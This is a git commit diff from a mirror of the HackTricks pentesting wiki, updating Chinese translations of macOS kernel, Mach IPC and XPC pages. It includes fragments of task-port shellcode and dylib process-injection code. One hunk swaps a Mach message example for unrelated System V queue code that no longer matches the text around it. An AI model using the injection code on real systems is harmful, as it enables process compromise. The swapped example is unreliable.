mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 12:43:23 +00:00
Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'macos-ha
This commit is contained in:
parent
bf0255e9b5
commit
360a3603d7
9 changed files with 1335 additions and 522 deletions
|
@ -142,6 +142,7 @@
|
|||
|
||||
* [macOS Security & Privilege Escalation](macos-hardening/macos-security-and-privilege-escalation/README.md)
|
||||
* [macOS Apps - Inspecting, debugging and Fuzzing](macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md)
|
||||
* [Introduction to x64](macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/introduction-to-x64.md)
|
||||
* [Introduction to ARM64](macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
|
||||
* [macOS AppleFS](macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md)
|
||||
* [macOS Bypassing Firewalls](macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md)
|
||||
|
@ -177,6 +178,7 @@
|
|||
* [macOS TCC](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md)
|
||||
* [macOS Apple Scripts](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-apple-scripts.md)
|
||||
* [macOS TCC Bypasses](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses.md)
|
||||
* [macOS Dangerous Entitlements](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md)
|
||||
* [macOS Users](macos-hardening/macos-security-and-privilege-escalation/macos-users.md)
|
||||
* [macOS Red Teaming](macos-hardening/macos-red-teaming/README.md)
|
||||
* [macOS MDM](macos-hardening/macos-red-teaming/macos-mdm/README.md)
|
||||
|
|
File diff suppressed because it is too large
Load diff
|
@ -1,12 +1,12 @@
|
|||
# macOS内核
|
||||
# macOS内核和系统扩展
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中看到你的**公司广告**吗?或者你想要获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 你在一个**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
|
@ -14,19 +14,21 @@
|
|||
|
||||
## XNU内核
|
||||
|
||||
**macOS的核心是XNU**,它代表着"X is Not Unix"。这个内核基本上由**Mach微内核**(稍后将讨论)和来自Berkeley Software Distribution(**BSD**)的元素组成。XNU还通过一个名为I/O Kit的系统为**内核驱动程序提供平台**。XNU内核是Darwin开源项目的一部分,这意味着**它的源代码是免费可访问的**。
|
||||
**macOS的核心是XNU**,它代表着"X不是Unix"。这个内核基本上由**Mach微内核**(稍后将讨论)和来自Berkeley Software Distribution(**BSD**)的元素组成。XNU还通过一个名为I/O Kit的系统提供了一个用于**内核驱动程序**的平台。XNU内核是达尔文开源项目的一部分,这意味着**它的源代码是免费可访问的**。
|
||||
|
||||
从安全研究人员或Unix开发人员的角度来看,**macOS**可能会感觉非常**类似**于一个带有优雅GUI和许多自定义应用程序的**FreeBSD**系统。大多数为BSD开发的应用程序在macOS上编译和运行时不需要修改,因为Unix用户熟悉的命令行工具在macOS上都存在。然而,由于XNU内核包含了Mach,传统的类Unix系统和macOS之间存在一些重要的差异,这些差异可能会导致潜在的问题或提供独特的优势。
|
||||
|
||||
XNU的开源版本:[https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/)
|
||||
|
||||
### Mach
|
||||
|
||||
Mach是一个**微内核**,旨在与**UNIX兼容**。它的一个关键设计原则是**最小化**在**内核**空间中运行的**代码**量,而是允许许多典型的内核功能(如文件系统、网络和I/O)作为用户级任务运行。
|
||||
Mach是一个设计为**与UNIX兼容**的**微内核**。它的一个关键设计原则是**最小化**在**内核**空间中运行的**代码**量,而是允许许多典型的内核功能(如文件系统、网络和I/O)作为用户级任务运行。
|
||||
|
||||
在XNU中,Mach负责许多典型的内核操作,如处理器调度、多任务处理和虚拟内存管理。
|
||||
在XNU中,Mach负责许多典型内核处理的关键低级操作,如处理器调度、多任务处理和虚拟内存管理。
|
||||
|
||||
### BSD
|
||||
|
||||
XNU内核还**整合了**大量来自**FreeBSD**项目的代码。这些代码与Mach一起在同一地址空间中作为内核的一部分运行。然而,XNU内的FreeBSD代码可能与原始的FreeBSD代码有很大的不同,因为需要对其进行修改以确保与Mach的兼容性。FreeBSD对许多内核操作做出了贡献,包括:
|
||||
XNU内核还**整合了**大量来自**FreeBSD**项目的代码。这些代码与Mach一起在内核中运行,位于同一地址空间中。然而,XNU中的FreeBSD代码可能与原始的FreeBSD代码有很大的不同,因为需要对其进行修改以确保与Mach的兼容性。FreeBSD对许多内核操作做出了贡献,包括:
|
||||
|
||||
* 进程管理
|
||||
* 信号处理
|
||||
|
@ -41,12 +43,12 @@ XNU内核还**整合了**大量来自**FreeBSD**项目的代码。这些代码
|
|||
|
||||
### I/O Kit - 驱动程序
|
||||
|
||||
I/O Kit是XNU内核中的开源、面向对象的**设备驱动程序框架**,负责添加和管理**动态加载的设备驱动程序**。这些驱动程序允许将模块化代码动态添加到内核中,以便与不同的硬件一起使用。它们位于:
|
||||
I/O Kit是XNU内核中的开源、面向对象的**设备驱动程序框架**,负责添加和管理**动态加载的设备驱动程序**。这些驱动程序允许将模块化代码动态添加到内核中,以便与不同的硬件一起使用。它们位于以下位置:
|
||||
|
||||
* `/System/Library/Extensions`
|
||||
* 内置于OS X操作系统中的KEXT文件。
|
||||
* 内置于OS X操作系统的KEXT文件。
|
||||
* `/Library/Extensions`
|
||||
* 第三方软件安装的KEXT文件。
|
||||
* 第三方软件安装的KEXT文件
|
||||
```bash
|
||||
#Use kextstat to print the loaded drivers
|
||||
kextstat
|
||||
|
@ -64,9 +66,9 @@ Index Refs Address Size Wired Name (Version) UUID <Linked
|
|||
9 2 0xffffff8003317000 0xe000 0xe000 com.apple.kec.Libm (1) 6C1342CC-1D74-3D0F-BC43-97D5AD38200A <5>
|
||||
10 12 0xffffff8003544000 0x92000 0x92000 com.apple.kec.corecrypto (11.1) F5F1255F-6552-3CF4-A9DB-D60EFDEB4A9A <8 7 6 5 3 1>
|
||||
```
|
||||
直到数字9,列出的驱动程序**在地址0中加载**。这意味着它们不是真正的驱动程序,而是**内核的一部分,无法卸载**。
|
||||
直到数字9,列出的驱动程序**在地址0处加载**。这意味着它们不是真正的驱动程序,**它们是内核的一部分,无法卸载**。
|
||||
|
||||
要查找特定的扩展,可以使用:
|
||||
要查找特定的扩展,您可以使用:
|
||||
```bash
|
||||
kextfind -bundle-id com.apple.iokit.IOReportFamily #Search by full bundle-id
|
||||
kextfind -bundle-id -substring IOR #Search by substring in bundle-id
|
||||
|
@ -92,7 +94,7 @@ kextunload com.apple.iokit.IOReportFamily
|
|||
|
||||
### macOS系统扩展
|
||||
|
||||
macOS创建了系统扩展,而不是使用内核扩展,它提供了用户级API与内核进行交互。这样,开发人员可以避免使用内核扩展。
|
||||
macOS创建了系统扩展来替代内核扩展,它提供了用户级别的API与内核进行交互。开发人员可以通过使用系统扩展来避免使用内核扩展。
|
||||
|
||||
{% content-ref url="macos-system-extensions.md" %}
|
||||
[macos-system-extensions.md](macos-system-extensions.md)
|
||||
|
@ -109,8 +111,8 @@ macOS创建了系统扩展,而不是使用内核扩展,它提供了用户级
|
|||
|
||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,10 +4,10 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一个**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想要**获取最新版本的PEASS或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 你在一个**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
@ -20,18 +20,18 @@ Mach使用**任务(task)**作为共享资源的**最小单位**,每个任
|
|||
|
||||
端口权限定义了任务可以执行的操作,这对通信至关重要。可能的**端口权限**有:
|
||||
|
||||
* **接收权限**,允许接收发送到端口的消息。Mach端口是MPSC(多生产者,单消费者)队列,这意味着整个系统中可能只有**一个接收权限与每个端口**相关联(与管道不同,多个进程可以持有指向管道读端的文件描述符)。
|
||||
* **接收权限**,允许接收发送到端口的消息。Mach端口是MPSC(多生产者,单消费者)队列,这意味着整个系统中每个端口只能有**一个接收权限**(与管道不同,多个进程可以持有指向管道读端的文件描述符)。
|
||||
* 具有**接收权限的任务**可以接收消息并**创建发送权限**,从而可以发送消息。最初,**只有自己的任务对其端口具有接收权限**。
|
||||
* **发送权限**,允许向端口发送消息。
|
||||
* **一次性发送权限**,允许向端口发送一条消息,然后消失。
|
||||
* **端口集权限**,表示一个**端口集**而不是单个端口。从端口集中出队一条消息会从其中一个包含的端口中出队。端口集可用于同时监听多个端口,类似于Unix中的`select`/`poll`/`epoll`/`kqueue`。
|
||||
* **死名称**,不是实际的端口权限,而只是一个占位符。当一个端口被销毁时,所有现有的端口权限都变成死名称。
|
||||
* **死命名**,不是实际的端口权限,只是一个占位符。当一个端口被销毁时,所有现有的端口权限都变成死命名。
|
||||
|
||||
**任务可以将发送权限传输给其他任务**,使其能够发送消息回来。**发送权限也可以被克隆,因此一个任务可以复制并将权限给第三个任务**。这与一个称为**引导服务器**的中间进程结合使用,可以实现任务之间的有效通信。
|
||||
|
||||
#### 步骤:
|
||||
|
||||
正如前面提到的,为了建立通信通道,涉及到**引导服务器**(mac中的**launchd**)。
|
||||
正如提到的,为了建立通信通道,涉及到**引导服务器**(mac中的**launchd**)。
|
||||
|
||||
1. 任务**A**初始化一个**新的端口**,在此过程中获得一个**接收权限**。
|
||||
2. 作为接收权限的持有者,任务**A**为端口**生成一个发送权限**。
|
||||
|
@ -41,16 +41,16 @@ Mach使用**任务(task)**作为共享资源的**最小单位**,每个任
|
|||
|
||||
引导服务器**无法对任务声称的服务名称进行身份验证**。这意味着一个任务有可能**冒充任何系统任务**,例如虚假地**声称授权服务名称**,然后批准每个请求。
|
||||
|
||||
然后,Apple将**系统提供的服务名称**存储在位于**SIP保护**目录下的安全配置文件中:`/System/Library/LaunchDaemons`和`/System/Library/LaunchAgents`。对于每个服务名称,还存储了**关联的二进制文件**。引导服务器将为这些预定义服务**创建并持有每个服务名称的接收权限**。
|
||||
然后,Apple将**系统提供的服务名称**存储在位于**SIP保护**目录下的安全配置文件中:`/System/Library/LaunchDaemons`和`/System/Library/LaunchAgents`。引导服务器将为每个这些服务名称创建并持有一个**接收权限**。
|
||||
|
||||
对于这些预定义服务,**查找过程稍有不同**。当查找服务名称时,launchd会动态启动服务。新的工作流程如下:
|
||||
对于这些预定义服务,**查找过程略有不同**。当查找服务名称时,launchd会动态启动服务。新的工作流程如下:
|
||||
|
||||
* 任务**B**启动服务名称的引导**查找**。
|
||||
* 任务**B**为服务名称**发起引导查找**。
|
||||
* **launchd**检查任务是否正在运行,如果没有,则**启动**它。
|
||||
* 任务**A**(服务)执行引导**签入**。在这里,引导服务器创建一个发送权限,保留它,并**将接收权限传输给任务A**。
|
||||
* 任务**A**(服务)执行**引导签入**。在这里,**引导**服务器创建一个发送权限,保留它,并**将接收权限传输给任务A**。
|
||||
* launchd复制**发送权限并将其发送给任务B**。
|
||||
|
||||
然而,这个过程仅适用于预定义的系统任务。非系统任务仍然按照最初的描述进行操作,这可能导致冒充。
|
||||
然而,此过程仅适用于预定义的系统任务。非系统任务仍然按照最初的描述进行操作,这可能导致冒充。
|
||||
### 代码示例
|
||||
|
||||
请注意,**发送方**在分配一个端口后,为名称`org.darlinghq.example`创建了一个**发送权限**,并将其发送到**引导服务器**,而发送方则请求该名称的**发送权限**并使用它来**发送消息**。
|
||||
|
@ -129,39 +129,41 @@ printf("Text: %s, number: %d\n", message.some_text, message.some_number);
|
|||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <string.h>
|
||||
#include <mach/mach.h>
|
||||
#include <mach/message.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/ipc.h>
|
||||
#include <sys/msg.h>
|
||||
|
||||
#define BUFFER_SIZE 1024
|
||||
#define MAX_TEXT 512
|
||||
|
||||
int main(int argc, char** argv) {
|
||||
mach_port_t server_port;
|
||||
kern_return_t kr;
|
||||
char buffer[BUFFER_SIZE];
|
||||
struct msgbuf {
|
||||
long mtype;
|
||||
char mtext[MAX_TEXT];
|
||||
};
|
||||
|
||||
// Connect to the server port
|
||||
kr = task_get_special_port(mach_task_self(), TASK_AUDIT_PORT, &server_port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Failed to get server port: %s\n", mach_error_string(kr));
|
||||
return 1;
|
||||
int main() {
|
||||
int msgid;
|
||||
struct msgbuf msg;
|
||||
|
||||
// Create a message queue
|
||||
msgid = msgget((key_t)1234, 0666 | IPC_CREAT);
|
||||
if (msgid == -1) {
|
||||
perror("msgget failed");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
// Create a message
|
||||
mach_msg_header_t* msg = (mach_msg_header_t*)buffer;
|
||||
msg->msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
|
||||
msg->msgh_size = sizeof(buffer);
|
||||
msg->msgh_remote_port = server_port;
|
||||
msg->msgh_local_port = MACH_PORT_NULL;
|
||||
msg->msgh_reserved = 0;
|
||||
// Set the message type
|
||||
msg.mtype = 1;
|
||||
|
||||
// Set the message text
|
||||
strncpy(msg.mtext, "Hello, receiver!", MAX_TEXT);
|
||||
|
||||
// Send the message
|
||||
kr = mach_msg(msg, MACH_SEND_MSG, msg->msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Failed to send message: %s\n", mach_error_string(kr));
|
||||
return 1;
|
||||
if (msgsnd(msgid, (void *)&msg, MAX_TEXT, 0) == -1) {
|
||||
perror("msgsnd failed");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
printf("Message sent successfully\n");
|
||||
printf("Message sent: %s\n", msg.mtext);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
@ -230,14 +232,14 @@ printf("Sent a message\n");
|
|||
* **主机特权端口**:具有对该端口的**发送**权限的进程可以执行**特权操作**,如加载内核扩展。该进程需要是**root**才能获得此权限。
|
||||
* 此外,为了调用**`kext_request`** API,需要具有**`com.apple.private.kext`**的授权,该授权仅提供给Apple二进制文件。
|
||||
* **任务名称端口**:_任务端口_的非特权版本。它引用了任务,但不允许对其进行控制。似乎唯一可以通过它获得的是`task_info()`。
|
||||
* **任务端口**(又名内核端口):对该端口具有发送权限,可以控制任务(读/写内存,创建线程等)。
|
||||
* 调用`mach_task_self()`以获取调用者任务的名称。此端口仅在**`exec()`**期间**继承**;使用`fork()`创建的新任务会获得一个新的任务端口(作为特殊情况,任务在`exec()`一个suid二进制文件后也会获得一个新的任务端口)。生成任务并获取其端口的唯一方法是在执行`fork()`时执行["端口交换舞蹈"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html)。
|
||||
* **任务端口**(也称为内核端口):对该端口具有发送权限,可以控制任务(读/写内存,创建线程等)。
|
||||
* 调用`mach_task_self()`以获取调用者任务的名称。此端口仅在**`exec()`**跨越继承;使用`fork()`创建的新任务会获得一个新的任务端口(作为特殊情况,suid二进制文件在`exec()`之后也会获得一个新的任务端口)。生成任务并获取其端口的唯一方法是在执行`fork()`时执行["端口交换舞蹈"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html)。
|
||||
* 这些是访问端口的限制(来自二进制文件`AppleMobileFileIntegrity`的`macos_task_policy`):
|
||||
* 如果应用具有**`com.apple.security.get-task-allow`授权**,来自**同一用户的进程可以访问任务端口**(通常由Xcode用于调试)。**公证**过程不允许将其用于生产版本。
|
||||
* 具有**`com.apple.system-task-ports`授权**的应用可以获取任何进程的**任务端口**,除了内核。在旧版本中,它被称为**`task_for_pid-allow`**。这仅授予Apple应用程序。
|
||||
* **Root可以访问未使用强化运行时编译**的应用程序的任务端口(而且不是来自Apple)。
|
||||
* **Root可以访问**未使用**强化**运行时编译的应用程序的任务端口(也不是来自Apple)。
|
||||
|
||||
### 通过任务端口注入Shellcode
|
||||
### 通过任务端口进行Shellcode进程注入
|
||||
|
||||
您可以从以下位置获取Shellcode:
|
||||
|
||||
|
@ -260,28 +262,7 @@ NSLog(@"Process ID: %d", [[NSProcessInfo processInfo] processIdentifier]);
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
{% tab title="entitlements.plist" %}
|
||||
|
||||
## entitlements.plist
|
||||
|
||||
The `entitlements.plist` file is a property list file used in macOS to specify the entitlements of an application. Entitlements are a set of privileges and permissions that determine what actions an application can perform on the system.
|
||||
|
||||
The `entitlements.plist` file contains a list of key-value pairs that define the entitlements for an application. Each key represents a specific entitlement, and the corresponding value specifies the level of access or permission granted to the application.
|
||||
|
||||
Some common entitlements include:
|
||||
|
||||
- `com.apple.security.app-sandbox`: Specifies whether the application is sandboxed, which restricts its access to certain system resources.
|
||||
- `com.apple.security.network.client`: Grants the application permission to make network connections.
|
||||
- `com.apple.security.files.user-selected.read-write`: Allows the application to read and write files selected by the user.
|
||||
- `com.apple.security.device.usb`: Enables the application to interact with USB devices.
|
||||
|
||||
To modify the entitlements of an application, you can edit the `entitlements.plist` file using a text editor or the `codesign` command-line tool. However, keep in mind that modifying entitlements may have security implications and should be done carefully.
|
||||
|
||||
It's important to note that entitlements are checked by the system at runtime, so modifying the `entitlements.plist` file alone may not be sufficient to bypass security restrictions. Other security mechanisms, such as code signing and sandboxing, may also be in place to prevent unauthorized access.
|
||||
|
||||
For more information on entitlements and how to use them, refer to the Apple Developer documentation.
|
||||
|
||||
{% endtab %}
|
||||
{% tab title="entitlements.plist" %}权限清单.plist
|
||||
```xml
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
|
@ -464,11 +445,11 @@ gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
|
|||
|
||||
在macOS中,线程可以通过Mach或使用posix `pthread` api进行操作。我们在前面的注入中生成的线程是使用Mach api生成的,因此它不符合posix规范。
|
||||
|
||||
我们可以注入一个简单的shellcode来执行命令,因为它不需要使用符合posix规范的api,只需要使用Mach。更复杂的注入需要线程也符合posix规范。
|
||||
之前我们能够注入一个简单的shellcode来执行命令,是因为它不需要使用符合posix规范的api,只需要使用Mach。更复杂的注入需要线程也符合posix规范。
|
||||
|
||||
因此,为了改进shellcode,它应该调用`pthread_create_from_mach_thread`来创建一个有效的pthread。然后,这个新的pthread可以调用dlopen从系统中加载我们的dylib。
|
||||
|
||||
你可以在(例如生成日志然后可以监听它的示例dylibs)中找到示例dylibs:
|
||||
你可以在(例如生成一个日志,然后你可以监听它的)中找到示例dylibs:
|
||||
|
||||
{% content-ref url="../../macos-dyld-hijacking-and-dyld_insert_libraries.md" %}
|
||||
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../../macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
|
||||
|
@ -700,19 +681,20 @@ memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64));
|
|||
remoteStack64 += (STACK_SIZE / 2); // 这是真正的堆栈
|
||||
//remoteStack64 -= 8; // 需要 16 字节对齐
|
||||
|
||||
const char* p = (const char*) remoteCode64;
|
||||
const char *p = (const char *)remoteCode64;
|
||||
|
||||
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
|
||||
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
|
||||
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
|
||||
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
|
||||
remoteThreadState64.ts_64.__pc = (u_int64_t)remoteCode64;
|
||||
remoteThreadState64.ts_64.__sp = (u_int64_t)remoteStack64;
|
||||
|
||||
printf("远程堆栈 64 0x%llx,远程代码为 %p\n", remoteStack64, p);
|
||||
|
||||
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
|
||||
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT, &remoteThread);
|
||||
(thread_state_t)&remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT, &remoteThread);
|
||||
|
||||
if (kr != KERN_SUCCESS) {
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr, "无法创建远程线程:错误 %s", mach_error_string(kr));
|
||||
return (-3);
|
||||
}
|
||||
|
@ -720,7 +702,7 @@ if (kr != KERN_SUCCESS) {
|
|||
return (0);
|
||||
}
|
||||
|
||||
int main(int argc, const char * argv[])
|
||||
int main(int argc, const char *argv[])
|
||||
{
|
||||
if (argc < 3)
|
||||
{
|
||||
|
@ -734,7 +716,8 @@ const char *action = argv[2];
|
|||
struct stat buf;
|
||||
|
||||
int rc = stat(action, &buf);
|
||||
if (rc == 0) inject(pid, action);
|
||||
if (rc == 0)
|
||||
inject(pid, action);
|
||||
else
|
||||
{
|
||||
fprintf(stderr, "找不到 dylib\n");
|
||||
|
@ -756,7 +739,7 @@ gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
|
|||
|
||||
### 基本信息
|
||||
|
||||
XPC代表XNU(macOS使用的内核)进程间通信,是macOS和iOS上进程之间通信的框架。XPC提供了一种在系统上不同进程之间进行安全、异步方法调用的机制。它是苹果安全范式的一部分,允许创建权限分离的应用程序,其中每个组件仅以执行其工作所需的权限运行,从而限制了受损进程可能造成的潜在损害。
|
||||
XPC代表XNU(macOS使用的内核)进程间通信,是macOS和iOS上进程之间通信的框架。XPC提供了一种在系统上进行安全、异步方法调用的机制。它是苹果安全范式的一部分,允许创建权限分离的应用程序,其中每个组件仅以执行其工作所需的权限运行,从而限制了受损进程可能造成的潜在损害。
|
||||
|
||||
XPC使用一种称为进程间通信(IPC)的方法,用于在同一系统上运行的不同程序之间发送数据。
|
||||
|
||||
|
@ -772,17 +755,17 @@ XPC的主要优点包括:
|
|||
|
||||
### 应用程序特定的XPC服务
|
||||
|
||||
应用程序的XPC组件位于**应用程序本身内部**。例如,在Safari中,您可以在**`/Applications/Safari.app/Contents/XPCServices`**中找到它们。它们的扩展名为**`.xpc`**(例如**`com.apple.Safari.SandboxBroker.xpc`**),并且也是**bundles**,其中包含主二进制文件:`/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker`
|
||||
应用程序的XPC组件位于**应用程序本身内部**。例如,在Safari中,您可以在**`/Applications/Safari.app/Contents/XPCServices`**中找到它们。它们的扩展名为**`.xpc`**(例如**`com.apple.Safari.SandboxBroker.xpc`**),并且也是**包**,其中包含主二进制文件:**`/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker`**
|
||||
|
||||
正如您可能想到的,**XPC组件将具有不同的授权和权限**,与其他XPC组件或主应用程序二进制文件不同。除非XPC服务在其**Info.plist**文件中将[**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/xpcservice/joinexistingsession)设置为“True”。在这种情况下,XPC服务将在与调用它的应用程序相同的安全会话中运行。
|
||||
正如您可能想到的,**XPC组件将具有不同的授权和权限**,与其他XPC组件或主应用程序二进制文件不同。除非XPC服务在其**Info.plist**文件中配置了[**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/xpcservice/joinexistingsession)设置为“True”。在这种情况下,XPC服务将在与调用它的应用程序相同的安全会话中运行。
|
||||
|
||||
XPC服务在需要时由**launchd**启动,并在所有任务完成后**关闭**以释放系统资源。**应用程序特定的XPC组件只能由应用程序使用**,从而降低了与潜在漏洞相关的风险。
|
||||
XPC服务在需要时由**launchd**启动,并在所有任务完成后**关闭**以释放系统资源。**应用程序特定的XPC组件只能被应用程序利用**,从而降低了与潜在漏洞相关的风险。
|
||||
|
||||
### 系统范围的XPC服务
|
||||
|
||||
系统范围的XPC服务对所有用户都可访问。这些服务可以是launchd或Mach类型,需要在指定目录中的plist文件中进行**定义**,例如**`/System/Library/LaunchDaemons`**、**`/Library/LaunchDaemons`**、**`/System/Library/LaunchAgents`**或**`/Library/LaunchAgents`**。
|
||||
系统范围的XPC服务对所有用户都是可访问的。这些服务可以是launchd或Mach类型,需要在指定目录中的plist文件中进行**定义**,例如**`/System/Library/LaunchDaemons`**、**`/Library/LaunchDaemons`**、**`/System/Library/LaunchAgents`**或**`/Library/LaunchAgents`**。
|
||||
|
||||
